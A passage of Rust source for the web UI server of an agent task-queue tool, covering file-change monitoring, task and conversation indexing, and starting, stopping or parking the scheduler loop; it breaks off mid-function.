1#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118pub const DEFAULT_PORT: u16 = 7878;
120
121const POLL: Duration = Duration::from_secs(1);
123
124const KEEPALIVE: Duration = Duration::from_secs(15);
128
129const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145const LIST_DEFAULT: usize = 50;
149const LIST_MAX: usize = 500;
151
152const TITLE_MAX: usize = 72;
154
155const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172const FILENAME_HEADER: &str = "x-filename";
176
177const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200 font-src data:; base-uri 'none'; form-action 'none'; \
201 frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210 Auto,
212 Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217 type Err = String;
218
219 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223 if s.eq_ignore_ascii_case("auto") {
224 return Ok(Self::Auto);
225 }
226 s.parse()
227 .map(Self::Addr)
228 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229 }
230}
231
232impl std::fmt::Display for Bind {
233 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234 match self {
235 Self::Auto => f.write_str("auto"),
236 Self::Addr(addr) => write!(f, "{addr}"),
237 }
238 }
239}
240
241#[derive(Debug, Clone)]
243pub struct Opts {
244 pub bind: Bind,
246 pub port: u16,
248 pub repo: PathBuf,
250 pub open: bool,
253 pub merge: Option<String>,
259}
260
261impl Default for Opts {
262 fn default() -> Self {
263 Self {
264 bind: Bind::Auto,
265 port: DEFAULT_PORT,
266 repo: PathBuf::from("."),
267 open: false,
268 merge: None,
269 }
270 }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279 try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283 try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287 use std::hash::{Hash as _, Hasher as _};
288 let entries = match std::fs::read_dir(root) {
289 Ok(entries) => entries,
290 Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291 Err(e) => return Err(e),
292 };
293 let mut stamps = HashMap::new();
294 for entry in entries {
295 let entry = entry?;
296 let path = if runs {
297 entry.path().join("run.json")
298 } else {
299 entry.path()
300 };
301 if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302 continue;
303 }
304 let identity = match file_identity(&path) {
305 Ok(identity) => identity,
306 Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307 Err(e) => return Err(e),
308 };
309 let modified = identity
310 .modified
311 .duration_since(std::time::UNIX_EPOCH)
312 .unwrap_or_default();
313 let mut hasher = std::hash::DefaultHasher::new();
314 identity.hash(&mut hasher);
315 let id = if runs || all_entries {
316 entry.file_name().to_string_lossy().into_owned()
317 } else {
318 path.file_stem()
319 .unwrap_or_default()
320 .to_string_lossy()
321 .into_owned()
322 };
323 stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324 }
325 Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330 base: u64,
331 changed: Vec<String>,
332 removed: Vec<String>,
333}
334
335fn notice_and_decision_stamps(ui: &Ui) -> std::io::Result<Stamps> {
336 let mut stamps = try_stamps(ui.notices.root(), false, true)?;
337 let inquiries = ui.home.join("notifications").join("task-inquiries");
338 for (id, stamp) in try_stamps(&inquiries, false, false)? {
339 stamps.insert(format!("decision:{id}"), stamp);
340 }
341 Ok(stamps)
342}
343
344fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
345 let mut changed: Vec<_> = next
346 .iter()
347 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
348 .map(|(id, _)| id.clone())
349 .collect();
350 let mut removed: Vec<_> = previous
351 .keys()
352 .filter(|id| !next.contains_key(*id))
353 .cloned()
354 .collect();
355 changed.sort_unstable();
356 removed.sort_unstable();
357 Delta {
358 base,
359 changed,
360 removed,
361 }
362}
363
364#[cfg(test)]
366fn runs_revision(runs: &FsPath) -> u64 {
367 stamps_revision(&store_stamps(runs, true))
368}
369
370fn stamps_revision(stamps: &Stamps) -> u64 {
374 use std::hash::{Hash as _, Hasher as _};
375 if stamps.is_empty() {
376 return 0;
377 }
378 let mut entries: Vec<_> = stamps.iter().collect();
379 entries.sort_unstable();
380 let mut hasher = std::hash::DefaultHasher::new();
381 entries.hash(&mut hasher);
382 hasher.finish().max(1)
383}
384
385#[derive(Clone, Debug)]
386pub(crate) struct ChangeNotification {
387 pub payload: serde_json::Value,
388}
389
390#[derive(Default, Debug)]
391pub(crate) struct QueueIndex {
392 records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
394 #[cfg(test)]
395 reparsed: usize,
396}
397
398#[derive(Clone, Debug)]
399struct TaskRelation {
400 id: String,
401 status: Option<crate::queue::TaskStatus>,
402 priority: i32,
403 runs: Vec<String>,
404 source: Source,
405 chat: Option<String>,
406}
407
408impl From<Task> for TaskRelation {
409 fn from(task: Task) -> Self {
410 Self {
411 id: task.id,
412 status: Some(task.status),
413 priority: task.priority,
414 runs: task.runs,
415 source: task.source,
416 chat: task.chat,
417 }
418 }
419}
420
421#[derive(Debug, PartialEq, Eq, Hash)]
422struct FileIdentity {
423 modified: std::time::SystemTime,
424 len: u64,
425 #[cfg(unix)]
426 identity: (u64, u64, i64, i64),
427}
428
429fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
430 let meta = path.metadata()?;
431 Ok(FileIdentity {
432 modified: meta.modified()?,
433 len: meta.len(),
434 #[cfg(unix)]
435 identity: {
436 use std::os::unix::fs::MetadataExt as _;
437 (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
438 },
439 })
440}
441
442type Revisions = (u64, u64, u64, u64, u64, u64);
443type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
444
445#[derive(Debug)]
446pub(crate) struct SharedMonitor {
447 pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
448 pub latest: Arc<Mutex<MonitorSnapshot>>,
449 pub worker_started: std::sync::atomic::AtomicBool,
450 pub queue_index: Arc<Mutex<QueueIndex>>,
451 list_walks: Mutex<Vec<ListWalk>>,
452 disk: Arc<Mutex<DiskObservation>>,
453 health_index: Mutex<HealthIndex>,
454 disk_cache: Mutex<DiskCache>,
455 talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
456 talk_status_index: Mutex<TalkStatusIndex>,
457 bulk_slots: Arc<tokio::sync::Semaphore>,
458 talk_core_slots: Arc<tokio::sync::Semaphore>,
459 #[cfg(test)]
460 talk_parses: std::sync::atomic::AtomicUsize,
461}
462
463#[derive(Debug, Default)]
465struct HealthIndex {
466 runs: HashMap<String, (FileIdentity, bool)>,
467 questions: Option<QuestionCounts>,
468 notices: Option<(u64, usize)>,
469 #[cfg(test)]
470 run_parses: usize,
471}
472
473#[derive(Debug, Default)]
476struct TalkStatusIndex {
477 records: HashMap<String, (FileIdentity, Option<talk::TalkStatus>)>,
478 #[cfg(test)]
479 parses: usize,
480}
481
482fn read_talk_status(reader: impl std::io::Read) -> Option<talk::TalkStatus> {
487 use serde::de::{IgnoredAny, MapAccess, Visitor};
488
489 struct StatusHeader<'a>(&'a mut Option<talk::TalkStatus>);
490 impl<'de> Visitor<'de> for StatusHeader<'_> {
491 type Value = ();
492
493 fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
494 f.write_str("a conversation header")
495 }
496
497 fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<Self::Value, A::Error> {
498 while let Some(key) = map.next_key::<String>()? {
499 match key.as_str() {
500 "status" => {
501 *self.0 = Some(map.next_value()?);
502 return Err(serde::de::Error::custom("conversation header complete"));
503 }
504 "turns" => {
505 *self.0 = Some(talk::TalkStatus::Open);
506 return Err(serde::de::Error::custom("noncanonical conversation header"));
507 }
508 _ => {
509 map.next_value::<IgnoredAny>()?;
510 }
511 }
512 }
513 Ok(())
514 }
515 }
516
517 let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
521 let mut json = serde_json::Deserializer::from_reader(reader);
522 let mut status = None;
523 let result = serde::Deserializer::deserialize_map(&mut json, StatusHeader(&mut status));
526 status.or_else(|| match result {
527 Ok(()) => Some(talk::TalkStatus::Open),
528 Err(error) if error.is_eof() => Some(talk::TalkStatus::Open),
529 Err(_) => None,
530 })
531}
532
533fn open_talk_ids(ui: &Ui, ids: &[String]) -> std::collections::HashSet<String> {
534 open_talk_ids_with(ui, ids, cfg!(unix), |path| {
537 std::fs::File::open(path).ok().and_then(read_talk_status)
538 })
539}
540
541fn open_talk_ids_with(
542 ui: &Ui,
543 ids: &[String],
544 cache_identity: bool,
545 mut read_status: impl FnMut(&FsPath) -> Option<talk::TalkStatus>,
546) -> std::collections::HashSet<String> {
547 let mut index = ui
548 .monitor
549 .talk_status_index
550 .lock()
551 .unwrap_or_else(PoisonError::into_inner);
552 let present: std::collections::HashSet<_> = ids.iter().collect();
553 index.records.retain(|id, _| present.contains(id));
554 let mut open = std::collections::HashSet::new();
555 for id in ids {
556 let Ok(identity) = file_identity(&ui.talks.path_of(id)) else {
557 index.records.remove(id);
558 continue;
559 };
560 let status = if cache_identity
561 && let Some((old, status)) = index.records.get(id)
562 && *old == identity
563 {
564 *status
565 } else {
566 let status = read_status(&ui.talks.path_of(id));
567 #[cfg(test)]
568 {
569 index.parses += 1;
570 }
571 if cache_identity
572 && file_identity(&ui.talks.path_of(id)).is_ok_and(|after| after == identity)
573 {
574 index.records.insert(id.clone(), (identity, status));
575 } else {
576 index.records.remove(id);
577 }
578 status
579 };
580 if status == Some(talk::TalkStatus::Open) {
581 open.insert(id.clone());
582 }
583 }
584 open
585}
586
587const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
589
590#[derive(Debug)]
591struct QuestionCounts {
592 revision: u64,
593 measured: std::time::Instant,
594 open: usize,
595 owner: usize,
596}
597
598#[derive(Debug, Clone)]
599struct DiskSizes {
600 runs: u64,
601 worktrees: u64,
602 cache: Option<u64>,
603}
604
605#[derive(Debug, Default)]
606struct DiskCache {
607 measured: Option<std::time::Instant>,
608 loading: bool,
609 config: Option<Config>,
610 disk: Option<DiskSizes>,
611 update: Option<UpdateView>,
612}
613
614fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
616 let (mut rev, mut stamps) = previous.unwrap_or_default();
617 for (index, root, runs) in [
618 (0, ui.queue.root(), false),
619 (1, ui.runs.as_path(), true),
620 (2, ui.talks.root(), false),
621 ] {
622 if let Ok(next) = try_store_stamps(root, runs) {
623 let value = stamps_revision(&next);
624 match index {
625 0 => rev.0 = value,
626 1 => rev.1 = value,
627 _ => rev.3 = value,
628 }
629 stamps[index] = next;
630 }
631 }
632 if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
633 rev.2 = stamps_revision(&next);
634 }
635 if let Ok(next) = notice_and_decision_stamps(ui) {
636 rev.4 = stamps_revision(&next);
637 }
638 rev.5 = ui.lock_loop().rev;
639 (rev, stamps)
640}
641
642impl SharedMonitor {
643 pub fn new() -> Self {
644 let (tx, _) = tokio::sync::broadcast::channel(64);
645 Self {
646 broadcaster: tx,
647 latest: Arc::default(),
648 worker_started: std::sync::atomic::AtomicBool::new(false),
649 queue_index: Arc::default(),
650 list_walks: Mutex::default(),
651 disk: Arc::default(),
652 health_index: Mutex::default(),
653 disk_cache: Mutex::default(),
654 talk_index: Mutex::default(),
655 talk_status_index: Mutex::default(),
656 bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
657 talk_core_slots: Arc::new(tokio::sync::Semaphore::new(2)),
658 #[cfg(test)]
659 talk_parses: std::sync::atomic::AtomicUsize::new(0),
660 }
661 }
662
663 async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
664 let mut receiver = self.broadcaster.subscribe();
665 self.ensure_worker(ui);
666 loop {
667 if let Some((revisions, _)) = self
668 .latest
669 .lock()
670 .unwrap_or_else(PoisonError::into_inner)
671 .as_ref()
672 {
673 return Ok(*revisions);
674 }
675 tokio::time::timeout(Duration::from_secs(5), receiver.recv())
676 .await
677 .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
678 .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
679 }
680 }
681
682 pub fn ensure_worker(&self, ui: &Arc<Ui>) {
683 if self
684 .worker_started
685 .compare_exchange(
686 false,
687 true,
688 std::sync::atomic::Ordering::SeqCst,
689 std::sync::atomic::Ordering::SeqCst,
690 )
691 .is_err()
692 {
693 return;
694 }
695
696 let weak_ui = Arc::downgrade(ui);
697 tokio::spawn(async move {
698 let mut ticker = tokio::time::interval(POLL);
699 loop {
700 ticker.tick().await;
701 let Some(ui) = weak_ui.upgrade() else {
702 break;
703 };
704
705 let previous = ui
706 .monitor
707 .latest
708 .lock()
709 .unwrap_or_else(PoisonError::into_inner)
710 .clone();
711 let state = Arc::clone(&ui);
712 let scan =
713 tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
714
715 ticker.reset();
717 let Ok((revisions, next_stamps)) = scan else {
718 continue;
719 };
720
721 let mut latest_guard = match ui.monitor.latest.lock() {
722 Ok(g) => g,
723 Err(p) => p.into_inner(),
724 };
725
726 let previous = latest_guard.take();
727 let (last_rev, prev_stamps) = match previous {
728 Some((r, s)) => (Some(r), Some(s)),
729 None => (None, None),
730 };
731
732 if last_rev == Some(revisions) {
733 *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
734 continue;
735 }
736
737 let mut payload = serde_json::json!({
738 "queue_rev": revisions.0,
739 "runs_rev": revisions.1,
740 "questions_rev": revisions.2,
741 "talks_rev": revisions.3,
742 "notifications_rev": revisions.4,
743 "loop_rev": revisions.5,
744 });
745
746 if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
747 for (index, (key, rev)) in [
748 ("queue_delta", base.0),
749 ("runs_delta", base.1),
750 ("talks_delta", base.3),
751 ]
752 .into_iter()
753 .enumerate()
754 {
755 let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
756 if delta.changed.len() + delta.removed.len() > 0
757 && delta.changed.len() <= 50
758 {
759 payload[key] = serde_json::to_value(delta).expect("serializable delta");
760 }
761 }
762 }
763
764 *latest_guard = Some((revisions, next_stamps));
765 drop(latest_guard);
766
767 let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
768 }
769 });
770 }
771}
772
773#[derive(Debug, Clone)]
779pub struct Ui {
780 queue: Queue,
781 questions: Questions,
782 notices: Notices,
785 talks: Talks,
786 runs: PathBuf,
787 references: Arc<id_links::IndexCache>,
788 home: PathBuf,
789 repo: PathBuf,
790 worktrees_root: PathBuf,
797 talk_turns: Arc<Mutex<TalkTurns>>,
805 admissions: Arc<tokio::sync::RwLock<bool>>,
808 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
812 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
815 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
817 auto_failed_tag: Arc<Mutex<Option<String>>>,
818 upgrade_runner: UpgradeRunner,
819 resuming: Arc<Mutex<HashSet<String>>>,
827 repos_cache: repos::Cache,
831 machine_config: Option<PathBuf>,
835 merge: Option<String>,
837 looping: Arc<Mutex<LoopState>>,
839 #[cfg(test)]
841 launch: Launch,
842 #[cfg(test)]
845 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
846 pub(crate) monitor: Arc<SharedMonitor>,
847}
848
849type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
850
851#[cfg(test)]
871struct BusyQueueGate {
872 reached: tokio::sync::oneshot::Sender<()>,
873 release: std::sync::mpsc::Receiver<()>,
874}
875
876#[cfg(test)]
877impl std::fmt::Debug for BusyQueueGate {
878 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
879 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
880 }
881}
882
883impl Ui {
884 pub fn new(
886 queue: Queue,
887 questions: Questions,
888 talks: Talks,
889 runs: PathBuf,
890 home: PathBuf,
891 repo: PathBuf,
892 ) -> Self {
893 Self {
894 queue,
895 questions,
896 notices: Notices::at(home.join("notifications")),
897 talks,
898 runs,
899 references: Arc::default(),
900 home,
901 repo,
902 worktrees_root: run::default_worktree_root(),
906 talk_turns: Arc::default(),
907 admissions: Arc::default(),
908 upgrade_gate: Arc::default(),
909 upgrade_spawned: Arc::default(),
910 upgrade_request_error: Arc::default(),
911 auto_failed_tag: Arc::default(),
912 upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
913 resuming: Arc::default(),
914 repos_cache: repos::Cache::new(),
915 machine_config: Config::machine_layer(),
916 merge: None,
917 looping: Arc::default(),
918 #[cfg(test)]
919 launch: launch_daemon,
920 #[cfg(test)]
921 busy_queue_gate: Arc::default(),
922 monitor: Arc::new(SharedMonitor::new()),
923 }
924 }
925
926 fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
929 let mut index = self
930 .monitor
931 .queue_index
932 .lock()
933 .unwrap_or_else(PoisonError::into_inner);
934 let entries = match std::fs::read_dir(self.queue.root()) {
935 Ok(entries) => entries,
936 Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
937 index.records.clear();
938 return Ok(Vec::new());
939 }
940 Err(e) => return Err(anyhow::Error::from(e).into()),
941 };
942 let mut seen = HashSet::new();
943 for entry in entries {
944 let path = entry.map_err(anyhow::Error::from)?.path();
945 if path.extension().is_none_or(|ext| ext != "json") {
946 continue;
947 }
948 let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
949 continue;
950 };
951 let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
952 seen.insert(id.to_owned());
953 if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
956 let Ok(task) = self.queue.get(id) else {
957 if let Some((_, record)) = index.records.get_mut(id) {
963 Arc::make_mut(record).status = None;
964 }
965 continue;
966 };
967 #[cfg(test)]
968 {
969 index.reparsed += 1;
970 }
971 if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
972 return Err(ApiError::conflict("Queue changed during read; retry"));
973 }
974 index
975 .records
976 .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
977 }
978 }
979 index.records.retain(|id, _| seen.contains(id));
980 let mut tasks: Vec<_> = index
981 .records
982 .values()
983 .map(|(_, task)| task.clone())
984 .collect();
985 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
986 Ok(tasks)
987 }
988
989 fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
990 let Some(record) = self
991 .indexed_tasks()?
992 .into_iter()
993 .find(|task| task.runs.iter().any(|id| id == run_id))
994 else {
995 return Ok(None);
996 };
997 let task = self.queue.get(&record.id)?;
998 if !task.runs.iter().any(|id| id == run_id) {
999 return Err(ApiError::conflict("Task relationship changed; retry"));
1000 }
1001 Ok(Some(task))
1002 }
1003
1004 fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
1005 self.indexed_tasks()?
1006 .into_iter()
1007 .filter(|task| {
1008 task.chat.as_deref() == Some(talk_id)
1009 || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1010 })
1011 .map(|record| {
1012 let task = self.queue.get(&record.id)?;
1013 if task.chat.as_deref() != Some(talk_id)
1014 && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1015 {
1016 return Err(ApiError::conflict("Task relationship changed; retry"));
1017 }
1018 Ok(task)
1019 })
1020 .collect()
1021 }
1022
1023 pub fn open(repo: PathBuf) -> Self {
1026 Self::new(
1027 Queue::open(),
1028 Questions::open(),
1029 Talks::open(),
1030 run::runs_root(),
1031 run::home(),
1032 repo,
1033 )
1034 }
1035
1036 #[must_use]
1043 pub fn with_merge(mut self, merge: Option<String>) -> Self {
1044 self.merge = merge;
1045 self
1046 }
1047
1048 #[cfg(test)]
1051 #[must_use]
1052 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1053 self.machine_config = path;
1054 self
1055 }
1056
1057 #[must_use]
1062 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1063 self.worktrees_root = root;
1064 self
1065 }
1066
1067 #[cfg(test)]
1072 #[must_use]
1073 fn with_launch(mut self, launch: Launch) -> Self {
1074 self.launch = launch;
1075 self
1076 }
1077
1078 #[cfg(test)]
1088 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1089 *self
1090 .busy_queue_gate
1091 .lock()
1092 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1093 }
1094
1095 fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1098 let guard = Arc::clone(&self.admissions)
1099 .try_read_owned()
1100 .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1101 if *guard {
1102 return Err(ApiError::conflict(
1103 "web restart in progress; retry this message",
1104 ));
1105 }
1106 Ok(guard)
1107 }
1108
1109 async fn start_detached_loop(&self) -> ApiResult<()> {
1111 if self
1112 .upgrade_spawned
1113 .load(std::sync::atomic::Ordering::SeqCst)
1114 {
1115 return Err(ApiError::conflict("an upgrade is in progress"));
1116 }
1117 let reading = daemon::read_status(&self.home);
1118 if let Some(other) = Foreign::of(reading.as_ref()) {
1119 return Err(ApiError::conflict(format!(
1120 "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1121 other.who()
1122 )));
1123 }
1124 let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1125 let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1126 let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1127 || reading.is_some_and(|reading| {
1128 reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1129 });
1130 if control.is_some() && scheduler_running {
1131 return Err(ApiError::conflict(
1132 "the scheduler is still stopping; retry Start after it has stopped",
1133 ));
1134 }
1135 if !jobs.iter().any(|job| job.kind == "scheduler") {
1136 let available =
1137 crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1138 if available.is_none() {
1139 return Err(ApiError::conflict(
1140 "the scheduler is still running or stopping; retry after its transition completes",
1141 ));
1142 }
1143 drop(available);
1144 }
1145 let opts = daemon::Opts {
1146 repo: self.repo.clone(),
1147 merge: self.merge.clone(),
1148 worktrees_root: Some(self.worktrees_root.clone()),
1149 ..daemon::Opts::default()
1150 };
1151 daemon::spawn_detached(&self.home, &opts)
1152 .await
1153 .map_err(ApiError::from)?;
1154 let mut state = self.lock_loop();
1155 state.last_error = None;
1156 state.rev += 1;
1157 Ok(())
1158 }
1159
1160 #[cfg(test)]
1167 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1168 if let Some(other) = foreign {
1169 return Err(ApiError::conflict(format!(
1170 "{} is already running the loop, so this one will not start a \
1171 second: two loops on one queue race for the same claims and \
1172 burn the agent quota twice over. Stop it where it was \
1173 started.",
1174 other.who()
1175 )));
1176 }
1177 let mut state = self.lock_loop();
1178 if self
1179 .upgrade_spawned
1180 .load(std::sync::atomic::Ordering::SeqCst)
1181 {
1182 return Err(ApiError::conflict("an upgrade is in progress"));
1183 }
1184 if state.live.as_ref().is_some_and(Live::alive) {
1185 return Err(ApiError::conflict(format!(
1186 "this magi web process (pid {}) is already running the loop",
1187 std::process::id()
1188 )));
1189 }
1190
1191 let stop = daemon::Stop::new();
1192 let opts = daemon::Opts {
1196 repo: self.repo.clone(),
1197 merge: self.merge.clone(),
1198 worktrees_root: Some(self.worktrees_root.clone()),
1205 ..daemon::Opts::default()
1206 };
1207 let launch = self.launch;
1208 let looping = Arc::clone(&self.looping);
1209 let handle = tokio::spawn({
1210 let opts = opts.clone();
1211 let stop = stop.clone();
1212 async move {
1213 let failure = match launch(opts, stop).await {
1214 Ok(()) => None,
1215 Err(e) => Some(format!("{e:#}")),
1216 };
1217 match &failure {
1218 Some(why) => tracing::error!("the loop stopped: {why}"),
1219 None => tracing::info!("the loop stopped"),
1220 }
1221 let mut state = lock_or_recover(&looping);
1227 state.live = None;
1228 state.last_error = failure;
1229 state.rev += 1;
1230 }
1231 });
1232 tracing::info!(
1233 "the loop is now running in this process: repo {}, merge {}",
1234 opts.repo.display(),
1235 opts.merge.as_deref().unwrap_or("as the config says")
1236 );
1237 state.live = Some(Live { stop, handle, opts });
1238 state.last_error = None;
1241 state.rev += 1;
1242 Ok(())
1243 }
1244
1245 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1251 if let Some(other) = foreign {
1252 return Err(ApiError::conflict(format!(
1253 "the loop belongs to {}, and this process cannot stop it - \
1254 stop it where it was started. A button that silently did \
1255 nothing would be worse than this refusal.",
1256 other.who()
1257 )));
1258 }
1259 #[cfg(not(test))]
1260 {
1261 daemon::request_control(
1262 &self.home,
1263 if park {
1264 crate::worker::Control::Park
1265 } else {
1266 crate::worker::Control::Stop
1267 },
1268 )
1269 .map_err(ApiError::from)?;
1270 self.lock_loop().rev += 1;
1271 Ok(())
1272 }
1273 #[cfg(test)]
1274 {
1275 let mut state = self.lock_loop();
1276 let Some(live) = state.live.as_ref() else {
1277 return Ok(());
1278 };
1279 if live.stop.stopped() && (!park || live.stop.parking()) {
1283 return Ok(());
1284 }
1285 if park {
1286 live.stop.park(crate::run::ParkCause::Operator);
1287 tracing::info!(
1288 "the loop was asked to park; the run stops at its next node boundary"
1289 );
1290 } else {
1291 live.stop.stop();
1292 tracing::info!("the loop was asked to stop; a run in flight is finished first");
1293 }
1294 state.rev += 1;
1295 Ok(())
1296 }
1297 }
1298
1299 #[cfg(not(test))]
1306 fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1307 let jobs = crate::worker::active(&self.home).map_err(|error| {
1308 ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1309 })?;
1310 Ok(self.runtime_loop_view(reading, &jobs))
1311 }
1312
1313 #[cfg(test)]
1314 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1315 let state = self.lock_loop();
1316 let live = state.live.as_ref().filter(|live| live.alive());
1319 LoopView {
1320 running: live.is_some(),
1321 stopping: live.is_some_and(|live| live.stop.finishing()),
1322 parking: live.is_some_and(|live| live.stop.parking()),
1323 owned: live.is_some(),
1324 repo: live
1325 .map_or(&self.repo, |live| &live.opts.repo)
1326 .display()
1327 .to_string(),
1328 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1329 last_error: state.last_error.clone(),
1330 daemon: DaemonView::of(reading),
1331 }
1332 }
1333
1334 fn runtime_loop_view(
1336 &self,
1337 reading: Option<daemon::Reading>,
1338 jobs: &[crate::worker::Job],
1339 ) -> LoopView {
1340 let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1341 let reporting = reading
1342 .as_ref()
1343 .is_some_and(|r| r.running(Timestamp::now()));
1344 let managed = scheduler.is_some()
1345 || (reporting
1346 && reading
1347 .as_ref()
1348 .is_some_and(|r| r.worker_protocol == Some(1)));
1349 let control = crate::worker::control(&self.home, "scheduler")
1350 .ok()
1351 .flatten();
1352 let persisted = if managed && scheduler.is_none() {
1355 std::fs::read(self.home.join("scheduler-options.json"))
1356 .ok()
1357 .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1358 } else {
1359 None
1360 };
1361 let repo = scheduler
1362 .and_then(|job| job.payload.get("repo"))
1363 .and_then(serde_json::Value::as_str)
1364 .map(str::to_owned)
1365 .or_else(|| {
1366 persisted
1367 .as_ref()
1368 .map(|opts| opts.repo.display().to_string())
1369 })
1370 .unwrap_or_else(|| self.repo.display().to_string());
1371 let merge = match scheduler {
1372 Some(job) => job
